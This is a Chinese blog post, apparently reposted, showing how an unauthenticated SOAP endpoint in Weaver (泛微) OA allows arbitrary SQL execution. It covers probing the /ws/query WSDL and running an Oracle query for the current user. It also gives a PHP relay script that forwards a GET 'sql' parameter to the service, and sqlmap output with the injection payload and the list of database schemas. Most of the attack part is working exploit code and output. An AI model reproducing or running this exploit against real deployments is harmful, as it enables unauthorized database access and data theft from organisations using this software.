泛微oa安装mysql,泛微OA某接口无需登录可执行任意SQL语句(附脚本) | CN-SEC 中文网...

先以本地为例

http://localhost:8088/ws

2698797a2bd20fa85d67a71c5b47b1b4.png

code 区域

http://localhost:8088/ws/query?wsdl

7a155e78d117ec19bd0822b5aeb3bdc5.png

竟然提示

code 区域

Unmarshalling Error: unexpected element (uri:"http://**.**.**.**/", local:"arg0"). Expected elements are <{}arg1>,<{}arg0>

搜索

f099742710339eb15fca35fc6a576754.png

提示是参数问题

改代码肯定是不行的

那就改参数吧

744f883496e45f379d9001ed361f201b.png

ORA-00900: 无效 sql 语句

看来是可以的

更改第一个参数

code 区域

select SYS_CONTEXT('USERENV','CURRENT_USER') from dual

fb21129ce15ea32a201b8901cde320e8.png

查看用户量

b775299cca373963488e0cbe52ce017b.png

任意SQL执行

继续中转

code 区域

$arg0=$_GET['sql'];

header("content-type:text/html;charset=utf-8");

try {

$client = new SoapClient('http://localhost:8088/ws/query?wsdl');

$xml = "

1

1

";

$result=$client->queryBy(array('arg0'=>$arg0,'arg1'=>'1'));

echo $result->return ;//显示结果

} catch (SOAPFault $e) {

print_r('Exception:'.$e);

}

?>

605fa4100f12168c977d867c30d5198a.png

SQL注入

code 区域

sqlmap identified the following injection points with a total of 0 HTTP(s) reque

sts:

---

Place: GET

Parameter: sql

Type: inline query

Title: Oracle inline queries

Payload: sql=(SELECT CHR(113)||CHR(115)||CHR(112)||CHR(99)||CHR(113)||(SELEC

T (CASE WHEN (8499=8499) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(101)||CHR(

112)||CHR(97)||CHR(113) FROM DUAL)

---

[15:39:49] [INFO] the back-end DBMS is Oracle

web server operating system: Windows

web application technology: Apache 2.2.22, PHP 5.3.10

back-end DBMS: Oracle

code 区域

available databases [20]:

[*] APEX_030200

[*] APPQOSSYS

[*] CTXSYS

[*] DBSNMP

[*] EWEAVER

[*] EXFSYS

[*] FLOWS_FILES

[*] MDSYS

[*] OLAPSYS

[*] ORDDATA

[*] ORDSYS

[*] OUTLN

[*] OWBSYS

[*] PM

[*] SCOTT

[*] SYS

[*] SYSMAN

[*] SYSTEM

[*] WMSYS

[*] XDB

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值